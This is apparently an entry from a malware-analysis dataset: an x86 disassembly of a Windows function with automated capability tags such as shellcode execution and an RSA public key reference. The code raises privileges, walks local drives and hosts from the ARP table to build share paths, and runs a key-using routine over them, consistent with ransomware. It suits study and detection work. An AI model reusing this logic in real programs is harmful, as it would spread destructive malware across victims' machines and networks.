Function at 0x30004520
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get common file path
Reference public rsa key
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa28
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0xc0]
push eax
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x3000457b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x3000457b
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea ecx, [ebp - 0xc0]
push ecx
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push 1
push str.SeBackupPrivilege
mov edx, dword [ebp - 0xc0]
push edx
call fcn.30003ce0
add esp, 0xc
call fcn.30005cc0
mov dword [0x3016d864], eax
push 0x64
push 0x3016d800
call dword [0x3016e388]
push str.System32cmd.exe
push 0x3016d800
call fcn.3000a3b4
add esp, 8
push 0x280
push 0
push 0x3016df20
call fcn.30007100
add esp, 0xc
push 0x140
push 0x3016df20
call dword [0x3016e388]
mov eax, 2
shl eax, 1
xor ecx, ecx
mov word [eax + 0x3016df20], cx
cmp dword [0x3016d864], 1
jne 0x3000460b
push str.Documents_and_SettingsDefault_User_
push 0x3016df20
call fcn.3000a3b4
add esp, 8
jmp 0x3000461d
push str.usersPublic_
push 0x3016df20
call fcn.3000a3b4
add esp, 8
push 0x3016df20
push 0x3016d868
call fcn.3000a425
add esp, 8
push str.PUBLIC
push 0x3016d868
call fcn.3000a3b4
add esp, 8
push 0x30021dd0
call fcn.30003a60
add esp, 4
call fcn.30004310
push 0x3e8
call dword [0x3016e31c]
cmp dword [0x3016d864], 0
jne 0x3000467c
push 0
push 0
push 0
push 0x30003dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 8], 8
jne 0x300046b3
push 0
push 0
push 0
push 0x30003ff0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x2710
div ecx
add edx, 0x61a8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x30035610
call fcn.300039c0
add esp, 4
push 4
push 0x1000
push 0x55d6a24
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push 0xdbba0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0xc], 0
jmp 0x3000470e
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0x5a
jge 0x3000477d
push 4
push 0x1000
push 0xf429a
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
imul ecx, dword [ebp - 0xc], 0x36cc
mov dword [ecx + 0x30038cc0], eax
push 4
push 0x1000
push 0x2710
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
imul edx, dword [ebp - 0xc], 0x36cc
mov dword [edx + 0x30038cc4], eax
imul eax, dword [ebp - 0xc], 0x36cc
cmp dword [eax + 0x30038cc0], 0
je 0x30004776
imul ecx, dword [ebp - 0xc], 0x36cc
cmp dword [ecx + 0x30038cc0], 0
jne 0x3000477b
jmp 0x300058b2
jmp 0x30004705
cmp dword [ebp + 8], 4
jne 0x300047b1
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
push 0x6acfc0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call fcn.3000aa09
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
push 0x301699c8
push 0x1388
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x301699c8
call fcn.30001e60
add esp, 4
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
call dword [0x3016e32c]
mov dword [ebp - 0xc4], eax
cmp dword [ebp + 8], 8
jne 0x30004812
jmp 0x30004a1b
mov dword [ebp - 0x170], 3
mov dword [ebp - 0x16c], 2
mov dword [ebp - 0x168], 4
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 1
mov dword [ebp - 0x15c], 6
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x10], 0
jmp 0x3000486a
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 7
jge 0x30004a1b
cmp dword [ebp + 8], 2
jne 0x3000494c
mov dword [ebp - 0x28], 0
jmp 0x30004890
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], 0x1a
jge 0x30004947
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x28]
shr eax, cl
and eax, 1
mov dword [ebp - 0xa8], eax
je 0x30004942
mov ecx, dword [ebp - 0x28]
add ecx, 0x41
mov edx, 2
imul eax, edx, 0
mov word [eax + 0x301699c8], cx
mov ecx, 2
shl ecx, 0
mov edx, 0x3a
mov word [ecx + 0x301699c8], dx
mov eax, 2
shl eax, 1
xor ecx, ecx
mov word [eax + 0x301699c8], cx
push 0x301699c8
call dword [0x3016e344]
mov edx, dword [ebp - 0x10]
cmp eax, dword [ebp + edx*4 - 0x170]
jne 0x30004920
mov eax, dword [0x3003560c]
push eax
mov ecx, dword [0x30031f3c]
push ecx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
cmp dword [ebp - 0x10], 6
jne 0x30004942
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
jmp 0x30004887
jmp 0x30004a16
mov dword [ebp - 0x2c], 0x1a
jmp 0x3000495e
mov ecx, dword [ebp - 0x2c]
sub ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0
jle 0x30004a16
mov edx, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x2c]
shr edx, cl
and edx, 1
mov dword [ebp - 0xa8], edx
je 0x30004a11
mov eax, dword [ebp - 0x2c]
add eax, 0x41
mov ecx, 2
imul edx, ecx, 0
mov word [edx + 0x301699c8], ax
mov eax, 2
shl eax, 0
mov ecx, 0x3a
mov word [eax + 0x301699c8], cx
mov edx, 2
shl edx, 1
xor eax, eax
mov word [edx + 0x301699c8], ax
push 0x301699c8
call dword [0x3016e344]
mov ecx, dword [ebp - 0x10]
cmp eax, dword [ebp + ecx*4 - 0x170]
jne 0x300049ee
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
cmp dword [ebp - 0x10], 6
jne 0x30004a11
mov ecx, dword [0x3003560c]
push ecx
mov edx, dword [0x30031f3c]
push edx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
jmp 0x30004955
jmp 0x30004861
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
push 0
lea eax, [ebp - 0x24]
push eax
call fcn.300028b0
add esp, 8
push 0xa
lea ecx, [ebp - 0x18c]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.3000a749
add esp, 0xc
push 4
push 0x1000
push 0
push 8
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.30007a70
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
push 4
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.30007100
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.300028b0
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 8], 0
mov dword [ebp - 0x74], 0
jmp 0x30004ac4
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x74]
cdq
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x20]
ja 0x30004b04
jb 0x30004aec
mov ecx, dword [ebp - 0x120]
cmp ecx, dword [ebp - 0x24]
jae 0x30004b04
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 4]
cmp dword [eax + edx*8 + 4], 1
jne 0x30004b02
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp 0x30004abb
xor ecx, ecx
mov eax, dword [ebp - 8]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.30007a5a
add esp, 4
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov eax, dword [ebp - 8]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.30007a5a
add esp, 4
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x30], 0
jmp 0x30004b79
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cdq
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov edx, dword [ebp - 0x124]
cmp edx, dword [ebp - 0x20]
ja 0x30004bce
jb 0x30004ba1
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x24]
jae 0x30004bce
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 4]
cmp dword [edx + ecx*8 + 4], 1
jne 0x30004bcc
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x30]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x84]
add eax, 1
mov dword [ebp - 0x84], eax
jmp 0x30004b70
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.3000aa40
add esp, 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x54], 0
jmp 0x30004bf6
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 8]
jae 0x30004c4a
call fcn.3000aa1f
xor edx, edx
div dword [ebp - 8]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x44]
cmp dword [ecx + eax*4], 0xffffffff
jne 0x30004c26
call fcn.3000aa1f
xor edx, edx
div dword [ebp - 8]
mov dword [ebp - 0x34], edx
jmp 0x30004c0b
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x44]
mov ecx, dword [esi + ecx*4]
mov dword [eax + edx*4], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov dword [eax + edx*4], 0xffffffff
jmp 0x30004bed
mov dword [ebp - 0x58], 0
jmp 0x30004c5c
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 8]
jae 0x30004e0e
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc8], eax
push 4
push 0
mov ecx, dword [ebp - 0xc8]
push ecx
call fcn.30007100
add esp, 0xc
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + edx*4]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*8]
mov dword [ebp - 0x118], eax
push 0x32
push 0
lea ecx, [ebp - 0x1c0]
push ecx
call fcn.30007100
add esp, 0xc
push 0x32
lea edx, [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0xc8]
push eax
push 2
call fcn.30005a20
add esp, 0x10
mov ecx, dword [0x30018a5c]
mov dword [ebp - 0xb0], ecx
mov dx, word [0x30018a60]
mov word [ebp - 0xac], dx
mov dword [ebp - 0x88], 0
jmp 0x30004d01
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x1a
jge 0x30004db3
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
push 0x30018a64
push 0x301699c8
call fcn.3000a425
add esp, 8
lea ecx, [ebp - 0x1c0]
push ecx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
push 0x30018a6c
push 0x301699c8
call fcn.3000a3b4
add esp, 8
lea edx, [ebp - 0xb0]
push edx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
mov eax, dword [0x3003560c]
push eax
mov ecx, dword [0x30031f3c]
push ecx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
mov edx, 2
imul eax, edx, 0
mov cx, word [ebp + eax - 0xb0]
add cx, 1
mov edx, 2
imul eax, edx, 0
mov word [ebp + eax - 0xb0], cx
jmp 0x30004cf2
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
push 0x30018a70
push 0x301699c8
call fcn.3000a425
add esp, 8
lea ecx, [ebp - 0x1c0]
push ecx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
jmp 0x30004c53
mov ecx, 1
test ecx, ecx
je 0x30005162
push 4
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.30007100
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.300028b0
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
jmp 0x30004e54
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
cdq
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], edx
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x20]
ja 0x30004e94
jb 0x30004e7c
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x24]
jae 0x30004e94
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 4]
cmp dword [eax + edx*8 + 4], 1
jne 0x30004e92
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
jmp 0x30004e4b
xor ecx, ecx
mov eax, dword [ebp - 0x60]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.30007a5a
add esp, 4
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x38], 0
jmp 0x30004edb
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov edx, dword [ebp - 0x12c]
cmp edx, dword [ebp - 0x20]
ja 0x30004f30
jb 0x30004f03
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x24]
jae 0x30004f30
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 4]
cmp dword [edx + ecx*8 + 4], 1
jne 0x30004f2e
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x38]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
jmp 0x30004ed2
mov dword [ebp - 0x3c], 0
jmp 0x30004f42
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x60]
jae 0x3000513a
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0x64], 0
jmp 0x30004f6a
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
cmp ecx, dword [ebp - 8]
jae 0x30004f8a
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x64]
mov esi, dword [ebp - 0x40]
mov edx, dword [eax + edx*4]
cmp edx, dword [esi + ecx*4]
jne 0x30004f88
jmp 0x30004f8a
jmp 0x30004f61
cmp dword [ebp - 0xd0], 0
je 0x30005135
lea eax, [ebp - 0xd4]
mov dword [ebp - 0xcc], eax
push 4
push 0
mov ecx, dword [ebp - 0xcc]
push ecx
call fcn.30007100
add esp, 0xc
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax + edx*4]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*8]
mov dword [ebp - 0xd4], eax
push 0x32
push 0
lea ecx, [ebp - 0x1f4]
push ecx
call fcn.30007100
add esp, 0xc
push 0x32
lea edx, [ebp - 0x1f4]
push edx
mov eax, dword [ebp - 0xcc]
push eax
push 2
call fcn.30005a20
add esp, 0x10
mov ecx, dword [0x30018a78]
mov dword [ebp - 0xb8], ecx
mov dx, word [0x30018a7c]
mov word [ebp - 0xb4], dx
mov dword [ebp - 0x90], 0
jmp 0x3000502d
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1a
jge 0x300050df
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
push 0x30018a80
push 0x301699c8
call fcn.3000a425
add esp, 8
lea ecx, [ebp - 0x1f4]
push ecx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
push 0x30018a88
push 0x301699c8
call fcn.3000a3b4
add esp, 8
lea edx, [ebp - 0xb8]
push edx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
mov eax, dword [0x3003560c]
push eax
mov ecx, dword [0x30031f3c]
push ecx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
mov edx, 2
imul eax, edx, 0
mov cx, word [ebp + eax - 0xb8]
add cx, 1
mov edx, 2
imul eax, edx, 0
mov word [ebp + eax - 0xb8], cx
jmp 0x3000501e
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
push 0x30018a8c
push 0x301699c8
call fcn.3000a425
add esp, 8
lea ecx, [ebp - 0x1f4]
push ecx
push 0x301699c8
call fcn.3000a3b4
add esp, 8
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
jmp 0x30004f39
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0xd8], ecx
mov edx, dword [ebp - 0xd8]
push edx
call fcn.30007a63
add esp, 4
push 0xc350
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x30004e0e
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0xdc]
push ecx
call fcn.30007a63
add esp, 4
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0xe0]
push eax
call fcn.30007a63
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [0x3016d864], 0
jne 0x300056ea
mov dword [ebp - 0x98], 0
push 1
lea edx, [ebp - 0x98]
push edx
push 0
call sub.IPHLPAPI.DLL_GetIpNetTable
push 4
push 0x1000
mov eax, dword [ebp - 0x98]
push eax
push 0
call dword [0x3016e318]
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x9c], ecx
push 1
lea edx, [ebp - 0x98]
push edx
mov eax, dword [ebp - 0x9c]
push eax
call sub.IPHLPAPI.DLL_GetIpNetTable
mov dword [ebp - 0x17c], eax
push 4
push 0x1000
mov ecx, dword [ebp - 0x9c]
imul edx, dword [ecx], 0x18
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xe4], 0x4000
mov eax, dword [ebp - 0xe4]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x68], 0
jmp 0x3000525d
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x68]
cmp eax, dword [edx]
jae 0x300056bd
imul ecx, dword [ebp - 0x68], 0x18
mov edx, dword [ebp - 0xa4]
lea eax, [edx + ecx + 4]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0xbc], ecx
push 0x20
push 0
lea edx, [ebp - 0x154]
push edx
call fcn.30007100
add esp, 0xc
mov eax, dword [ebp - 0xbc]
cmp dword [eax + 4], 0
je 0x300056b8
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x174], 0
push 0xa
push 0
lea eax, [ebp - 0x80]
push eax
call fcn.30007100
add esp, 0xc
push 0xa
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x14]
and edx, 0xff
push edx
call fcn.3000a780
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x154]
push ecx
call fcn.3000a425
add esp, 8
push str..0.0.0
lea edx, [ebp - 0x154]
push edx
call fcn.3000a3b4
add esp, 8
push 0xa
push 0
lea eax, [ebp - 0x80]
push eax
call fcn.30007100
add esp, 0xc
push 0xa
lea ecx, [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x14]
shr edx, 8
and edx, 0xff
push edx
call fcn.3000a780
add esp, 0xc
mov eax, dword [ebp - 0x14]
shr eax, 8
and eax, 0xff
mov dword [ebp - 0xec], eax
jne 0x3000536a
push 0x30018a98
lea ecx, [ebp - 0x154]
push ecx
call fcn.3000a3b4
add esp, 8
jmp 0x3000537d
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x154]
push eax
call fcn.3000a3b4
add esp, 8
push 0x30018a9c
lea ecx, [ebp - 0x154]
push ecx
call fcn.3000a3b4
add esp, 8
push 0xa
push 0
lea edx, [ebp - 0x80]
push edx
call fcn.30007100
add esp, 0xc
push 0xa
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x14]
shr ecx, 0x10
and ecx, 0xff
push ecx
call fcn.3000a780
add esp, 0xc
mov edx, dword [ebp - 0x14]
shr edx, 0x10
and edx, 0xff
mov dword [ebp - 0xf0], edx
jne 0x300053e6
push 0x30018aa0
lea eax, [ebp - 0x154]
push eax
call fcn.3000a3b4
add esp, 8
jmp 0x300053f9
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x154]
push edx
call fcn.3000a3b4
add esp, 8
push 0x30018aa4
lea eax, [ebp - 0x154]
push eax
call fcn.3000a3b4
add esp, 8
push 0xa
push 0
lea ecx, [ebp - 0x80]
push ecx
call fcn.30007100
add esp, 0xc
push 0xa
lea edx, [ebp - 0x80]
push edx
mov eax, dword [ebp - 0x14]
shr eax, 0x18
and eax, 0xff
push eax
call fcn.3000a780
add esp, 0xc
mov ecx, dword [ebp - 0x14]
shr ecx, 0x18
and ecx, 0xff
mov dword [ebp - 0xf4], ecx
jne 0x30005461
push 0x30018aa8
lea edx, [ebp - 0x154]
push edx
call fcn.3000a3b4
add esp, 8
jmp 0x30005474
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x154]
push ecx
call fcn.3000a3b4
add esp, 8
push 0x64
push 0
lea edx, [ebp - 0x258]
push edx
call fcn.30007100
add esp, 0xc
push 0x30018aac
lea eax, [ebp - 0x258]
push eax
call fcn.3000a425
add esp, 8
lea ecx, [ebp - 0x154]
push ecx
lea edx, [ebp - 0x258]
push edx
call fcn.3000a3b4
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 4], 0
mov edx, dword [ebp - 0x1c]
mov dword [edx + 8], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0xc], 2
mov ecx, 2
imul edx, ecx, 0
lea eax, [ebp + edx - 0x258]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 0x1c]
mov dword [edx + 0x18], 0
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push 0x301699c8
call fcn.3000a425
add esp, 8
push 0x30018ab4
push 0x301699c8
call fcn.3000a3b4
add esp, 8
mov dword [ebp - 0xa0], 0
jmp 0x3000554c
mov ecx, dword [ebp - 0xa0]
add ecx, 1
mov dword [ebp - 0xa0], ecx
cmp dword [ebp - 0xa0], 0x19
jge 0x300055da
mov dword [ebp - 0x18], 0
jmp 0x3000556b
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
push 0x301699c8
call fcn.3000a447
add esp, 4
cmp dword [ebp - 0x18], eax
jae 0x300055b8
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax*2 + 0x301699c8]
cmp ecx, 0x24
jne 0x300055b6
mov edx, dword [ebp - 0x18]
mov ax, word [edx*2 + 0x301699c6]
add ax, 1
mov ecx, dword [ebp - 0x18]
mov word [ecx*2 + 0x301699c6], ax
xor edx, edx
mov eax, dword [ebp - 0x18]
mov word [eax*2 + 0x301699ca], dx
jmp 0x300055b8
jmp 0x30005562
mov ecx, dword [0x3003560c]
push ecx
mov edx, dword [0x30031f3c]
push edx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
jmp 0x3000553d
push 0xfa0
push 0
push 0x3016c0d8
call fcn.30007100
add esp, 0xc
push 0x3016c0d8
mov eax, dword [ebp - 0x1c]
push eax
call fcn.30003850
add esp, 8
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x48], 1
jmp 0x3000562c
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
push 0x3016c0d8
call fcn.3000a447
add esp, 4
cmp dword [ebp - 0x48], eax
jae 0x300056b8
mov edx, dword [ebp - 0x48]
movzx eax, word [edx*2 + 0x3016c0d8]
cmp eax, 0x3b
je 0x3000566f
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x48]
mov ax, word [edx*2 + 0x3016c0d8]
mov word [ecx*2 + 0x301699c8], ax
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
jmp 0x300056b3
push 0x301699c8
call fcn.30001e60
add esp, 4
mov edx, dword [0x3003560c]
push edx
mov eax, dword [0x30031f3c]
push eax
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
mov dword [ebp - 0x6c], 0
jmp 0x30005623
jmp 0x30005254
push 0x8000
push 0
mov ecx, dword [ebp - 0xa4]
push ecx
call dword [0x3016e2e0]
push 0x8000
push 0
mov edx, dword [ebp - 0xf8]
push edx
call dword [0x3016e2e0]
jmp 0x300057f0
mov dword [ebp - 0xfc], 0x4000
mov eax, dword [ebp - 0xfc]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x100], eax
push 0x7d0
push 0
lea ecx, [ebp - 0xa28]
push ecx
call fcn.30007100
add esp, 0xc
lea edx, [ebp - 0xa28]
push edx
mov eax, dword [ebp - 0x100]
push eax
call fcn.30003850
add esp, 8
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x4c], 1
jmp 0x30005762
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
lea edx, [ebp - 0xa28]
push edx
call fcn.3000a447
add esp, 4
cmp dword [ebp - 0x4c], eax
jae 0x300057f0
mov eax, dword [ebp - 0x4c]
movzx ecx, word [ebp + eax*2 - 0xa28]
cmp ecx, 0x3b
je 0x300057a7
mov edx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x4c]
mov cx, word [ebp + eax*2 - 0xa28]
mov word [edx*2 + 0x301699c8], cx
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
jmp 0x300057eb
push 0x301699c8
call fcn.30001e60
add esp, 4
mov eax, dword [0x3003560c]
push eax
mov ecx, dword [0x30031f3c]
push ecx
push 1
push 0x301699c8
call fcn.30001f80
add esp, 0x10
push 0x2710
push 0
push 0x301699c8
call fcn.30007100
add esp, 0xc
mov dword [ebp - 0x70], 0
jmp 0x30005759
mov edx, dword [0x3003560c]
push edx
call dword [0x3016e25c]
cmp dword [0x3016d864], 0
je 0x30005849
push 0x10
push 0x18
push 0x30022490
push 0x300225f4
push 0x30031f3c
call dword [0x3016e300]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
jne 0x30005847
push 0x10
push 0x18
push 0x30022518
push 0x300225f4
push 0x30031f3c
call dword [0x3016e300]
jmp 0x30005862
push 0x10
push 0x18
push 0x30022518
push 0x300225f4
push 0x30031f3c
call dword [0x3016e300]
mov dword [ebp - 0x50], 0
jmp 0x30005874
